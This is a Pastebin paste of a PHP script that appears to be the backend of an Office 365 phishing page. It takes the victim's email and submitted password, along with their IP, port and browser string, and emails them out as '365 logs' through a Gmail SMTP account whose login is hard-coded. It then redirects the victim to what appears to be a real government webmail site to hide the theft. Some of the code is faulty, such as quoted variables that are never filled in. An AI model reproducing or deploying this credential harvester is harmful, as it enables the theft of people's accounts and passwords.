Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- use PHPMailer\PHPMailer\PHPMailer;
- use PHPMailer\PHPMailer\Exception;
- if(isset($_POST['submit']))
- {
- $to = "wwwislamicbs@yahoo.com";
- $subject = "365 logs";
- $date = date('Y-m-d | H:i:s');
- $browser = $_SERVER['HTTP_USER_AGENT'];
- $ip = $_SERVER['REMOTE_ADDR'];
- $port = $_SERVER['REMOTE_PORT'];
- $email = $_SESSION['username'];
- $pass = $_POST['password'];
- require 'vendor/autoload.php';
- $mail = new PHPMailer(true);
- //Server settings
- $mail->isSMTP();
- $mail->Host = 'smtp.gmail.com';
- $mail->SMTPAuth = true;
- $mail->Username = 'report@cretinsworld.info';
- $mail->Password = 'Webmail@2';
- $mail->SMTPSecure = 'ssl';
- $mail->Port = 587;
- //Recipients
- $mail->setFrom('report@cretinsworld.info');
- $mail->addAddress($email);
- //Content
- $mail->isHTML(true);
- $mail->Subject = 'Reports!';
- $mail->Body = '
- <body>
- <div style="border:1px solid #ccc; padding: 3px;">
- <div><b>Office 365</b></div><br>
- <div><b>Date/Time:</b>".$date."</div>
- <div><b>Browser:</b>".$browser."</div>
- <div><b>IP:</b>".$ip."</div>
- <div><b>Port:</b>".$port."</div>
- <div><b>Email</b>:".$email."</div>
- <div><b>Password:</b>".$pass."</div>
- </div><br></body>';
- // Sending email
- if($mail->send()){
- header('location:https://mail.oag.go.th/');
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement